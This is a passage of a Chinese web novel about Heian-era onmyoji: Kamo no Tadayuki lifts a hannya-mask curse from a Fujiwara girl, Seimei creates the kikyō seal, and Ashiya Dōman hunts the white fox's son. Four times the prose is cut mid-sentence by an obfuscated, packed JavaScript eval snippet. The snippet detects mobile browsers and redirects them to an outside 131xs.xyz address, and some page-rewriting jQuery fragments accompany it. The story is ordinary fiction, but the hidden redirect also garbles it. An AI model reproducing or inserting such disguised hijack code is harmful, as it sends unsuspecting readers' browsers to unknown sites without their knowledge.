还没等贺茂保宪反应过来,贺茂忠行已经捏出了一个法诀,道声:“缚”,那“鬼”便像是双腿被什么人捆住了似的,它倒是还想跑,奈何腿脚不利索,一跤绊倒在地,再也爬不起来。 “不是叫你们看住她吗?怎么能让她跑出来!”看到“鬼”被控制住,藤原兼家松了口气,然后对那几个男孩子发起了脾气。 几个少年沉默不语,只有其中年纪稍小一些的少年答道:“现在妖怪寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460583|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿在小妹身上,这妖怪想跑,我们几个哪儿拦得住啊。”说着,他往贺茂忠行身上看了一眼,又说:“阴阳师大人不是来了嘛,小妹的事很快就能解决,您何苦骂我们。” 那少年这么一说,藤原兼家才记起来贺茂忠行在这儿,他这些天被闹得心力交瘁,连带着脑子都不那么好用了。 “贺茂大人见笑,犬子藤原道长,从小就没什么规矩。”藤原兼家头疼地揉了揉眉心,又转过头去对那几个少年说:“去把你们妹妹抬到屋里去,让这位贺茂大人好好瞧瞧。” 这种事不好叫仆人插手,因此一直是藤原兼家和他的几个儿子料理这个带上了面具就摘不掉的女孩子。 几个少年互相看了看,年纪最大的那个主动过去背起了那个小女孩,其他人则帮忙按着她不断挣扎扭动的身体。 “白天也闹?多长时间了?”没头没尾的一句问话,藤原兼家却听懂了,想了想,答道:“是从昨天开始的。昨天之前,她都只是晚上闹,大吵大嚷,还拿着锤子和钉子要往树上钉……”藤原兼家想起那个景象,不由得打了个寒噤。 “等到了白天就和正常人无异了,但从昨天开始,她忽然疯了似的要跑出去,力气大得吓人,拦也拦不住,我们只能把她绑在家里。今天……连绳子都被她挣断了。”藤原兼家没再说下去,因为今天的事,贺茂忠行已经看到了。 “晚上?她钉钉子的时间是不是在丑时?”贺茂忠行听到藤原兼家的话,心中微微一动。 丑时,午夜一点到三点之间。 “正是!贺茂大人如何得知?” 贺茂忠行没答,说话间,他们已经走到了安置那个小女孩的房间,她躺在那儿,口中发出含混不清的咆哮声。 贺茂忠行半跪下来,俯身查看她——藤原绥子的情况,然后他说:“再晚一天,怕是就不成了。” 藤原兼家一惊,忙问:“这是怎么说?” “她正在进行从丑时之女到般若的转化。”贺茂忠行试着拨了拨藤原绥子脸上的面具,那张狰狞的鬼面就像长在她脸上一样,纹丝不动。 “等到她完全变成般若的时候,那就回天乏力了。”贺茂忠行淡淡地说:“藤原大人不如好好想想,平日里是不是得罪了什么人。” 贺茂忠行话里暗示的意味很明显,藤原兼家更不是傻子,自然听得懂。 这是有人下咒暗害他的意思了。 贺茂忠行点到为止,没再提起这话,宫廷之上暗潮汹涌是常事,谁都难免深陷其中。 “保宪,晴明,你们俩都过来。”贺茂忠行叫来两个弟子,叫他们去看藤原绥子脸上的那张鬼面具。 直到这个时候,贺茂保宪才刚刚看清楚了藤原绥子这个人。 她身上穿着繁复华丽的十二单衣,年纪似乎和晴明相仿,身材纤细。 不过,贺茂保宪的注意力几乎都被她脸上的那张恶鬼面具给吸引了过去。 那张面具上,刻印着无数细细密密的咒文! 9. 第九章:般若面 贺茂保宪往日随同贺茂忠行驱鬼和主持仪式的时候,没少见过外形狰狞可怖的面具,但是那些面具从没给过他如此浓重的、不详的感觉。 那张血红色的鬼面具空洞的瞳孔似乎一直死死地盯着他看,即使它并没有真正的瞳孔,但他无论怎样都躲不开那两道冰冰冷冷的视线。 “现在知道为什么这附近看不到阴气了吗?”贺茂忠行一边画符,一边问贺茂保宪和晴明两人,他总是喜欢在这个时候考核他们两个,也不管请他来驱鬼的人家在旁边看了会不会因此而感到不自在。 贺茂保宪答得很快:“因为阴气全部被封在了面具里,以便于利用阴气害人,此事是阴阳师所为。” 而晴明没作声,他盯着那张鬼面具,似乎有点迷茫,他问:“妖会杀人,人也会杀人吗?” 妖杀人是天性,那人杀人又是为了什么? 贺茂忠行听见晴明的话,长叹一声,把画好的符往鬼面具的额头上一按:“这种事情并不鲜见,等你见得多了,也就习惯了。”说完,他低声念诵起了咒语。 晴明这个孩子心太善,而且敏感太过,这样的性格大概是不适合成为阴阳师的。 即使天赋能让他获得很高的成就,但他依然不适合。 能够行走在阴阳之间的人,不该有一颗纤细敏感的心。 不过事到如今,再叫晴明放弃阴阳道也晚了,贺茂忠行只能这样将错就错下去。 随着贺茂忠行念咒速度的逐渐加快,鬼面具的嘴缓缓张了开来,一条五色斑斓的小蛇慢悠悠地从里面爬出。 藤原兼家在一旁看着,不由得倒抽了一口凉气,他没法想象那些天里,这条蛇就藏在这张面具里面,和他的女儿呆在一处。 贺茂忠行也不惊动那蛇,继续念咒,眼睛瞟着它,等待蛇完全从面具里爬出来的那一刻。 终于,蛇的尾巴尖也离开了面具的嘴巴,贺茂忠行一边继续念着咒语,一边闪电般出手,眼看就能捏住那蛇的七寸! 然而,贺茂忠行的手落空了,就在贺茂忠行伸出手的一瞬间,小蛇像是听到了什么人的召唤一般,闪身又钻进了面具的其中一个眼洞。 “糟了!”贺茂忠行脸色一变,然而此时再去念咒已经来不及,因为原本受了贺茂忠行阴阳术束缚,躺在地上动弹不得的藤原绥子突然翻身坐了起来,一把撕掉了贺茂忠行刚刚贴在面具上的符咒! “绥子!” 藤原绥子低着头,阴森森地笑了起来,尖声尖气地念叨着:“汝负我命,我还汝债。以是因缘,经百千劫,常在生死;汝爱我心,我怜汝色。以是因缘,经百千劫,常在缠缚……”声音尖利刺耳。 随着这种异变,她脸上的鬼面具似乎也发生了变化,时而化成一张惨白却艳丽的女人面孔,时而变回面具原样。 “滚出去!”贺茂忠行勃然大怒,高声喝骂,同时手结法印,口中念念有词:“五帝庇护,何鬼不走,急急如律!” 贺茂忠行连念几遍,藤原绥子总算是又安静了下来,但是那条蛇却怎么也不肯再出来了。 “贺茂大人,这……”藤原兼家不懂阴阳术,但也看得出来这是驱鬼失败了。 贺茂忠行擦了擦额头上的冷汗,皱眉道:“给您女儿下咒的这个阴阳师能力大概不在我之下,看来对方是一心要咒你们死了。” “般若和丑时之女一体双魂,白天是食人的般若,到了夜里就化成扎草人钉咒钉的丑时之女。”贺茂忠行在藤原绥子身边盘膝坐下来,手指节轻轻叩了叩那张鬼面具:“这是般若面,上面被人下了咒,只要女子带上这面具,就必然会被转化为鬼。等到完全转化成功的时候,以般若的能力,即使是将你们灭门也不是难事。” “前几日她夜里钉钉子的时候,就是在诅咒你们了,好在你们及时发现了她的举动。”贺茂忠行见藤原兼家脸色不好,又解释了一句:“如果丑时之女钉咒钉的时候被人看见的话,诅咒的力量就会减弱,更何况她现在还不是完整的丑时之女,诅咒能力不强,藤原大人完全可以放心。” 一体双魂,这就是他占卜到的“二鬼”吗?晴明透过藤原绥子的身体,看见了两只模样完全不同的鬼。 一个是头戴铸铁铁环,铁环上插着三根燃烧着的蜡烛的丑时之女,另一个则是头生双角,四颗尖利的獠牙刺破嘴唇的恶鬼般若。 “解咒不难,但要请藤原大人帮个忙。”贺茂忠行郑重道:“刚才那条祸蛇突然逃走,证明给面具下咒的阴阳师已经发现了我解咒的举动。我想既然对方能下这种阴毒的恶咒的话,必然也不是什么良善之辈,恐怕不会轻易放过藤原大人您,大概也会很快找上我来。” “而在平安京中,据我所知,并没有实力与我相当、下得了这种恶咒的阴阳师存在。”贺茂忠行稍稍有些自得地一笑,说:“我想请藤原大人帮我留心一下,若有什么生面孔、能力很强的阴阳师出现,那很有可能就是下咒之人了。” 藤原兼家点头应了下来,贺茂忠行这才摸出了一张白纸剪成的动物,低声念了句咒,白纸落到地上,化成了一只长着两条尾巴的黑猫。 猫又。 猫又刚一显形就炸起了全身的毛,弓起背,如临大敌地死死盯住了藤原绥子,口吐人言:“贺茂大人,你从哪找来的,阴气这么重?” “给我把面具撕了,小心别伤了人。”贺茂忠行想了想,又说:“这次的面具可以给你吃。” 猫又不耐烦地啧了一声:“真是个无趣的男人,就伤了又能怎样——别老是当我什么都吃,这面具上沾满了你们阴阳师的臭味,我才不吃这种东西。”说着,猫又依令扑了上去,利爪从爪垫里伸出,一爪就撕碎了面具,那条祸蛇从面具的残片中掉出来,它也被猫又的爪子扯成了两截,那半截蛇身还在地上扭动。 猫又玩心大起,伸出爪子拨弄起蛇来,贺茂忠行也不理它,由着它玩。 横竖它是个式神,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460584|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被蛇咬了,这种针对人类而下的咒也根本伤害不到它分毫。 面具被撕开了,藤原绥子的脸就露了出来,她是个很清秀的女孩子,年纪约在十岁左右,脸上并没有被猫又抓伤。 贺茂忠行微微松了口气,还好,猫又还肯听话。 他一向知道他这个式神猫又是个阴奉阳违的脾性,不过有他们之间的式神契约在,他自信能够降伏得住它。 藤原绥子微微睁开眼睛,昏昏沉沉地唤:“母亲大人,我饿……”这些天里,因为这张面具,她几乎滴水未进。 “好了,调养几天就没事了。”贺茂忠行又检查了几遍,直到确认她身上完全没有了阴气才起身笑道:“藤原大人不必担心了,告辞。”说完便要走。 “贺茂大人,请等一下!”藤原兼家犹豫了一下,叫住了贺茂忠行。 “藤原大人还有什么想说的吗?”贺茂忠行笑意吟吟地转回身来,并不显得意外,好像被叫住这件事完全是在他意料之中。 “您刚才是说,那个对我们家下咒的阴阳师很有可能会继续针对我们?”藤原兼家一想到这件事就冷汗直冒,他实在不想再经历类似的事了。 贺茂忠行点头说:“不论这个阴阳师是受雇于人还是出于其他的什么原因,既然他会对你们下这样的恶咒,那他这一次没有成功的话,很有可能会再想其他办法的。” “就没有办法彻底阻止他吗?”藤原兼家的情绪近于歇斯底里,他刚刚考虑了一下,他身居高位,想他死的人太多了,任何一个人都有可能害他。 他不怕任何人在朝堂之上对他下绊子,但是涉及到这些神鬼之事,他一个不留神,就会连自己是怎么死的都不知道。 “这个嘛,”贺茂忠行似乎有点苦恼,摸出折扇轻轻敲了敲自己的下巴,说:“如果能知道这个下咒的阴阳师是谁的话,哪怕只是知道一个名字,那就好办多了。” “我会去注意的!另外,请贺茂大人务必想办法保护我和我的家人!”藤原兼家一边说,一边深深鞠了一躬,半天都没有直起身子。 贺茂忠行伸手扶起藤原兼家,说:“这个自然,我画几张符咒给你吧,时时带在身上,可除灾厄。另外,今后如察觉到任何异常,立刻来找我,绝不能拖延。” 藤原兼家连连点头。 当贺茂忠行离开藤原兼家的府邸,坐上牛车的时候,他脸上的笑容终于收不住了。 这次卖给那位藤原兼家一个人情,想来从今以后,藤原兼家必定是会站在他这一边的了。 他早就得到了天皇的信任,而藤原兼家手中握有的权力不亚于天皇,等到贺茂保宪和安倍晴明这两个孩子长起来的时候,阴阳师中间就没有人能撼动他的位置了。 等到那个时候,他倒要看看,还有谁敢在他面前提他不是贵族出身这件事! 牛车慢慢走着,轿子侧面的帘子忽然被晴明掀开,他问:“贺茂师傅,我可以回家去住几天吗?” 10. 第十章:桔梗印 就在贺茂忠行替藤原兼家的小女儿驱过鬼之后不久,类似的事件就开始不断地找上了贺茂忠行。 不过很奇怪的是,这与贺茂忠行预想中的不一样,那个藏在暗中下咒的阴阳师似乎放弃了藤原兼家,没再对他们下咒,转而去找起了藤原兼家的邻居的麻烦。 住在那附近的都是平安京中位分不低的贵族,他们自然也都知道贺茂忠行盛名,纷纷来找贺茂忠行为他们驱鬼,搞得贺茂忠行分身乏术,极为头痛。 下恶咒的阴阳师路数诡谲难测,有时候就连贺茂忠行一时也想不出最合适的解咒方法。 倒是可以再叫式神猫又帮忙,但是说到底,式神是妖,究竟是对人类具备一定威胁性,不到万不得已的时候,贺茂忠行都不愿动用式神。 “平安京大概是要乱了。”贺茂忠行某天深夜站在庭院里,仰望着满天星斗,叹道。 他自幼精通观星测位之术,此时看得明白,漫天星光璀璨,唯独代表着平安京的这一片黯淡无光,这绝不是什么祥瑞之兆。 贺茂忠行给保宪和晴明两人都加了不少课业,保宪倒是学得兢兢业业,一刻不敢放松,但晴明还是他那副老样子,时常偷溜出去看贺茂忠行庭院里成团成簇的桔梗花。 可是即便这样,每次贺茂忠行考较他们两人的功课的时候,晴明的表现也并不比保宪差多少。 这就是天赋的差距了,阴阳一道,最重天赋。 而晴明身为狐妖之子,与万物一样身具灵性,天赋之高自然不言而喻。 “喂,晴明!那花到底有什么好看的?”保宪从一堆需要他抄记的符咒中抬起头来,大声问独自抱膝坐在庭院里看桔梗花的晴明。 晴明背对着保宪,听见他的问话也没回头,伸出手去,摘下了一朵蓝色的桔梗花,仰面躺下来,把桔梗花举到眼前,眯起眼睛入迷地看着那朵花。 “师兄,你看它的形状,你什么都想不到吗?”说着,晴明把花贴到了唇边,轻声念了句咒,松开手,那朵花便飘飘忽忽地飞到了保宪那边。 保宪一扬手抓住那朵花,花原本就是脆弱之物,被晴明摘下来,又被保宪毫无怜惜地一抓,它便破碎了。 保宪把花随手放到了一边:“最普通的桔梗花而已,这能想到什么?” “我记得贺茂师傅为了除掉它们,花了不少心思吧?”晴明微微一笑,翻身坐起,眼睛里亮晶晶的,少年人的活力显现了出来。 “不仅用火烧过一遍,还细细地翻了一遍土,甚至连阴阳术都动用了。可是现在你看,这些花还在这里。”晴明站起身来,连身上沾上的沙土都顾不上拍掉,就窜到了保宪身边。 “你到底想说什么?”保宪一看见晴明这个样子就头疼,只得替他拍了拍衣服,把衣服上的沙子抖落下去。 “这说明有些东西是可以胜过阴阳术的!”晴明抓起笔,运灵力在符纸上画出了一个桔梗花的形状,他把桔梗花的花型简化为五芒星,由于施加了灵力,五芒星闪烁着淡淡的、金色的光芒。 晴明捏着那张画着五芒星的符纸,四处看了看,恰巧一只飞燕翩然飞近檐前,晴明见了,便笑道:“不如看看我这张符咒,能不能困得住这只飞燕吧。” 说着,晴明道声:“缚”,扬手把符纸朝燕子身上丢了过去。 燕子敏捷地闪身避开,可那符咒如影随形地追了上去,一时间,只见得一道黑色的残影在空中辗转躲避,而符咒紧紧缀在它身后,速度竟然并不比它慢多少。 燕子是活物,终究会累,这场追逐并没有持续多久,很快,那张符咒便带着被它缚住、动弹不得的燕子飞了回来。 晴明一伸手,轻轻接住了燕子,抚了抚燕子头上的羽毛,撕去符咒,张开手掌,燕子便张开翅膀,似一道紫电一般,倏忽间就不见了。 “如何?”晴明笑得眯起了眼睛,带着些狡黠的得意。 微风拂过庭院,蓝色的桔梗花随之轻轻晃动,引起了一阵极细微的沙沙声,仿佛群花的私语。 “我叫它……”晴明偏过头,朝保宪一笑,少年意气尽显:“桔梗印。” “好厉害,这是怎么做到的?”保宪微微瞪大了眼睛,从晴明手中接过桔梗印仔细端详。 “谁知道呢?不过,这重要吗?”晴明稍微歪了歪脑袋,笑说:“我们只需要知道,桔梗印可以辅助阴阳术使用,而且还能够加强它,这就可以了。” 等贺茂忠行驱鬼回来之后,连他也不得不感叹晴明的天赋和直觉。 直觉这种虚无缥缈的东西往往于阴阳一道更有利些。 这种能力与生俱来,不是仅靠努力就能轻易弥补的。 在天赋方面,保宪一直不如晴明,关于这一点,贺茂忠行一开始就心知肚明。 甚至可以说,如果不是晴明性子懒散,保宪这辈子都不可能追得上晴明的步伐。 在那之后不久,晴明又回了一趟家,在自家的各处屋门上都画了防御妖邪恶鬼和隐匿作用的桔梗印。他的家距离藤原兼家的宅子也很近,保不准那个乱下咒的阴阳师哪天一个不高兴,就会把恶咒施在安倍益材身上。 当然,晴明在做这件事的时候,他还是在说:可不能让明美被阴阳师给害了。 不过他这话经不起推敲,毕竟谁都知道,没有阴阳师会对座敷童子下索命的恶咒的。 晴明还给了安倍益材一大叠画好的符咒,仔仔细细地把每一种符咒的区别和用法都告诉给他父亲。 最后晴明又在自己家的宅院外布下了一层结界,结界只能抵御一些低级的妖鬼入侵,但这已经是晴明现在能完成的、最好的结界了。 如果不是贺茂忠行这阵子太忙,晴明原本是打算求贺茂忠行来帮忙布置结界的。 做完了这些之后,晴明好像终于放心了,又回到了贺茂家,但他始终不肯承认自己做这些究竟是为了谁。 好在晴明担心的事情一直没有发生,不知是那个下恶咒的阴阳师恰巧略过了安倍益材的院子,还是桔梗印真的起了作用。 贺茂忠行近日则越来越头疼,其一是平安京中恶鬼害人之事层出不穷,其二,那个藏在暗中下恶咒的阴阳师终于露了面,由藤原兼家的政敌们举荐,大摇大摆地出现在了天皇面前。 那人名叫卢屋道满,没有任何师承,自称是于山野之间偶然悟道,自成一派。 他倒是坦坦荡荡,好像什么都没做过似的,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460585|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身上的那股因常年修习阴阳邪术而形成的阴气却瞒不住贺茂忠行。 卢屋道满就是在平安京里四处下恶咒的阴阳师,贺茂忠行很确信这一点,可惜他办法证明这件事,只靠着一个莫须有的阴气是没办法让人信服的。 更何况天皇看起来对卢屋道满很感兴趣。 倒是没人提过要贺茂忠行和这个新来的卢屋道满一较高下,但在贺茂忠行与藤原兼家正交好的时候,藤原兼家的政敌搞这一出,明眼人都看得出来,这是要扶植卢屋道满与贺茂忠行作对了。 卢屋道满此人生得瘦骨嶙峋,显得有些奸诈,皮肤既黑又十分粗糙,倒是很有自小生活在平安京之外的山民的样子。 等下了朝,卢屋道满和贺茂忠行表面上的和睦很快就维持不住了,倒不是贺茂忠行非要去找卢屋道满的麻烦,而是卢屋道满主动凑过去,问了贺茂忠行一个问题。 他问:“贺茂大人,前些年,平安京里来了一只白狐,这件事你知道不知道?” 贺茂忠行的神经立刻就绷紧了。 白狐? 一个住在平安京外的山民怎么会知道这样的事? 卢屋道满误解了贺茂忠行的沉默,他笑了,带着挑衅的意味:“原来这世上还有连大阴阳师贺茂忠行都不知道的事情。” “没关系,我自己找,总能找到的。”卢屋道满用粗大的手指骨节敲了敲自己的太阳穴,说:“我的占卜结果告诉我,和那白狐有关的人就躲在平安京里。” “贺茂大人若是见着了白狐,可要记得同我说呀,我找它,已经找了十几年了。”卢屋道满低声笑了起来,笑声配上他那副尊容,模样像极了一只鬼。 贺茂忠行脊背上猛地窜上了一股寒意,他已经很多年没有产生过这样的感觉了,好像他面对的不是一个和他一样的阴阳师,而是一只在血海尸山中生活了一辈子的恶鬼。 他上一次感到恐怖的时候是在十多年前,那个时候,他正要诛杀一只存活了数十年、胡作非为的猫又。 那是他第一次真正见到食人的大妖怪。 猫又这种妖怪每过九年便会长出一条新的尾巴,每长出一条尾巴,妖力便会增强几分。而这只猫又,尾巴足有五条之多,身躯庞大得简直像一座小山。 贺茂忠行发现它的时候,它正玩老鼠似的玩弄一个刚刚捕来的幼童,把他放跑,又捉回来,反反复复,乐此不疲。 而在它身边,骸骨累累,都是人类的骨头。 他躲在一旁看着,全身冷汗淋漓。 贺茂忠行费尽了心力才终于杀掉了猫又,所幸被这畜生抓来的孩子还活着。 贺茂忠行正打算带孩子下山去,他没走几步,一边的草丛忽然动了动,一只纯黑色的幼猫从草丛里跌跌撞撞地爬出来,冲着猫又庞大的尸体喵喵直叫。 这很可能是猫又的孩子,年纪还小,或许性情经过教养之后,不会像它母亲那样凶残嗜血。 贺茂忠行一时动了恻隐之心,没杀那只幼猫,而是把它带了回去,等它长出第二条尾巴的时候,贺茂忠行就把它收作了式神。 但是现在,一个和他一样的人类也让他产生了同样恐怖的感觉,这怎么可能? 11. 第十一章:白狐与蜘蛛 “叔叔,叔叔。” 卢屋道满正观察着一户人家的门扇,忽然之间感到自己的衣角被人轻轻扯了扯。 他低下头,一个五六岁模样的男孩子仰着脑袋,冲他笑了一笑。 “什么事啊?小鬼头。”卢屋道满随口应了一声,揉了一把男孩子的头发。 小男孩踮起脚尖,把他们身边的一棵矮树指给他看,说:“叔叔可不可以帮忙把那只蝴蝶救下来呀?” 卢屋道满顺着小男孩手指的方向看过去,那树上结着一个蜘蛛网,一只色彩斑斓的蝴蝶被粘在了网上,徒劳地扑腾着翅膀。 蜘蛛网的高度对于成年人来说并不算高,不过是一抬手的事而已。 卢屋道满若有所思地望着那只蝴蝶和躲在一边以逸待劳的蜘蛛,忽然笑了一声,边笑边说:“小鬼你倒是心善啊,不过你想没想过,你究竟是救下了这只蝴蝶呢?还是害了这只蜘蛛?” 小男孩眨眨眼睛,似懂非懂。 “倒也不是救不得。”卢屋道满伸出手轻轻把蝴蝶从网上摘了下来,松开手指将其放飞了,继续说:“不过,还是要付出些代价的,这样对蜘蛛才公平。” 说着,他从怀里摸出了一把刀子,在自己手臂上割下了一片薄薄的肉,然后把沾着血珠的肉片挂在了蜘蛛网上。 蜘蛛闻声急切地爬了出来,贪婪地吸食起了那片肉表面沾着的血。 小男孩被卢屋道满的举动吓坏,转身跑开了。 “原来你知道这血是好东西呀?”卢屋道满也不在意,他抬起手,吸吮了一下流血的伤处,嘴唇也染上了血:“倒有几分灵性,不如就做我的式神吧。今后,我用血喂你。” 蜘蛛吸净了人肉的汁液,扯出一根晶莹的蛛丝,借着风力,落到了卢屋道满的衣服上。 这便是同意了。 卢屋道满想着自己要找的人,冷笑一声。 不急,他已经找了这么多年,不差这一时半刻。 他需要更多的式神来当他的眼线。 贺茂忠行只把卢屋道满在找白狐这件事情告诉给了他儿子贺茂保宪。 晴明还小,没必要让他知道这样的事,而且就算他知道了,对这件事也没什么益处,还不如不知道的好。 也怨不得贺茂忠行往晴明身上联想,毕竟,白狐原本就稀少,而十几年前出现在平安京的白狐恐怕也找不出第二只了。 而看卢屋道满的为人和态度,很显然,他找白狐并不是出于什么友好的目的。 贺茂忠行悄悄地给晴明和安倍益材的宅院都下了隐匿妖气的符咒,即便这样,贺茂忠行还是不放心,还特意嘱咐保宪平时多盯着晴明一些。 这一盯,他们才发觉,晴明平日里的不少举动都十分可疑,很容易叫人怀疑他是个妖怪。 贺茂忠行责骂了晴明几次,但晴明依旧我行我素,一点儿也不把贺茂忠行的话放在心上。 例如…… 仲夏之夜,逢魔之时,百鬼夜行。 每到接近黄昏的时刻,都是妖鬼最喜欢显形的时候,它们褪去了白日里的伪装,重新化身为鬼,在街道上横行无忌。 这就是百鬼夜行,这个时候,阴气最重,寻常人若是不慎撞见了这种景象,很有可能直接因为阴气入侵身体而死。 因此大家都尽量避免在这个时间出门,只有晴明例外,他似乎很喜欢在黄昏的时候悄悄溜出去。 贺茂保宪第一次发现晴明这种举动的时候,他没有惊动贺茂忠行,他尾随在晴明身后,想知道晴明到底打算做什么。 而让他心惊肉跳的是,晴明走出贺茂家的大门后不久,就放出了自己的狐狸耳朵和尾巴,混进了百鬼夜行的队伍。 这个时候的晴明,看起来就和一只真正的狐妖没什么区别。 虽然知道他不该这样怀疑从小和他一起长大的晴明,但保宪还是忍不住猜测晴明究竟认为哪一边是他的归属。 晴明混在千妖百鬼之中,好像显得很自在。 保宪不敢再看下去,也不敢细想。他回到了自家的大门前,坐在门口的台阶上等着晴明回来。 不知等了多久,保宪感到自己都坐得僵硬了,才听到晴明惊讶的声音:“师兄?” 晴明褪去了狐耳和尾巴,看起来和平常无异。 只有保宪知道,这个他熟悉的晴明身上,还着另一个、他从来不认识的妖怪“晴明”存在。 保宪慢慢站了起来,腿有些麻,他踉跄了一下,晴明要扶他,保宪一巴掌把晴明的手打到了一边。 “你去哪里了?”保宪有一肚子的话要说,但他最后只问出了这一句话。 提到这个,晴明立刻又兴奋了起来:“我去街上和他们玩,很有趣的……” “玩?和谁玩?和鬼?和妖怪?”保宪从来没有这样正颜厉色地跟晴明说过话,他一向是个很温和的人,但这一次,他是真的生了气。 “晴明,你是不是需要搞搞清楚,你到底是要做人呢?还是要做妖怪?”保宪这话刚说出口就后悔了,他原本不是这样想的。 他是在担心晴明的身份被卢屋道满发现,如果晴明继续这样毫无顾忌地露着耳朵和尾巴在外面闲逛的话,晴明的处境将会变得十分危险。 但或许在保宪心底,他更担心晴明会彻底变成妖怪,所以才会下意识地说出那样一句话。 而这句话惹了大麻烦,晴明的脸色迅速沉了下来。 “原来你也是这么想的。”晴明冷冷地说,同时赌气似的又幻化出了自己的狐狸耳朵,连妖纹也在他脸上浮现了出来。 “我没同你说过吧?我父亲一直很害怕我,自从我母亲离开之后,他甚至都不敢多看我一眼,可是我做错了什么?我母亲又做错了什么?”晴明盛怒之下,发间的狐狸耳朵微微抖动起来。 “好,我父亲害怕我,那我就不再去做那些‘不正常’的事,我可以伪装我是个‘正常人’,但这有什么用呢?他还是把我送到了这里。”晴明的胸口剧烈地起伏着,他大声说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460586|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了这里,我以为我可以不用隐藏什么了,但还是一样!师兄你,还有贺茂师傅,和我父亲没有任何差别!” “晴明!”贺茂忠行察觉到晴明的妖气波动,急忙赶了出来,厉声喝道:“把妖气给我收起来!” 同时,贺茂忠行迅速念咒张开结界,把晴明的妖气限制在结界之内,不令其外泄。 如果晴明的妖气被卢屋道满察觉到,那后果不堪设想。 “贺茂师傅,”晴明顺从地收起了妖纹和狐耳,不过眼神依旧有点冷漠:“您也认为我终有一日会背叛人类成为妖怪吗?” 贺茂忠行长叹一声,正打算说话,忽然脸色一变,从怀里摸出张符咒,口中低叱一声,将符咒猛地打到了旁边的墙角里。 明明空无一人的墙角响起了一声惨嚎,沉寂的夜里听来格外瘆人。 “保宪,去看看那里有什么。”贺茂忠行阴沉着脸。 保宪这才放下刚才拦在晴明身前的手臂,他刚才还以为贺茂忠行拿符咒是要对付晴明呢。 保宪依言去墙角查看,他找到了一只拳头大小的、浑身长着黑毛的大蜘蛛,已经死了,贺茂忠行的符咒钉在它身上,把它砍成了两半。 “是式神。”当保宪把蜘蛛的事告诉给贺茂忠行的时候,贺茂忠行的脸色很难看:“这个时候杀死它也晚了,这个式神多半已经把它听到的话传给它的主人了。” “进去说吧。”贺茂忠行长叹一声:“晴明,我接下来要说的事,很可能与你有关。” 贺茂忠行把他遇到卢屋道满的事原原本本地告诉了晴明。 最后他说:“我不知道那个卢屋道满要找的是不是你,但是你身为白狐之子,那你就该小心行事,无论如何,我都不希望你被任何阴阳师注意到,更不希望你被卢屋道满察觉到身份,卢屋道满那个人给我的感觉很不好,我猜不透他会做出什么事来。” 晴明这才冷静下来,向贺茂忠行深鞠一躬:“方才晴明有错,请老师责罚。” 贺茂忠行松了口气,又说:“我从未猜疑过你,也从没因为你的血脉质疑过你什么,你从小在我这里长大,应该很清楚这一点。” “是,晴明方才失言。”晴明安静地跪坐下来。 “如果刚才放式神来偷听的人是卢屋道满的话,那么现在说这些也晚了。”贺茂忠行头痛地摸出折扇,习惯性地轻敲了几下眉心:“这几天你哪里都不要去,在自己房间里呆着别出来,我来想办法对付卢屋道满。” 次日一早,卢屋道满果然找上了门,和贺茂忠行一见面,他就冷笑道:“贺茂大人果真厉害,亏我那天还拿白狐的事问你,原来这白狐之子就藏在你这儿!” 贺茂忠行微微一笑,脸色丝毫不变:“卢屋大人这话我就听不懂了,我这屋子里,除了仆人,就是我的两个徒弟,哪里有什么白狐呢?” “之前在这平安京里到处解咒的也是你吧?”卢屋道满作势就要结法印:“你不肯交出白狐之子,就不怕我对你下咒吗?” 12. 第十二章:入局 面对卢屋道满的威胁,贺茂忠行不慌不忙,微微一笑。 “我也是阴阳师,你敢对我下咒吗?”他说:“你能下什么咒,我就能解什么咒,你杀不了我。” 卢屋道满龇开满口黄牙,笑了,说:“那如果我把你的真名告诉我的式神,叫式神来杀你呢?” “这倒是个办法,不过……”贺茂忠行用折扇轻轻按了按勾起的唇角:“你怎么知道‘贺茂忠行’就是我的真名呢?” “如果来杀我的式神发现它找不到‘贺茂忠行’这个人,那它会做出什么事来?”贺茂忠行轻笑:“这个后果,我相信你是很清楚的。” “……”卢屋道满像是被难住了,沉默不语。 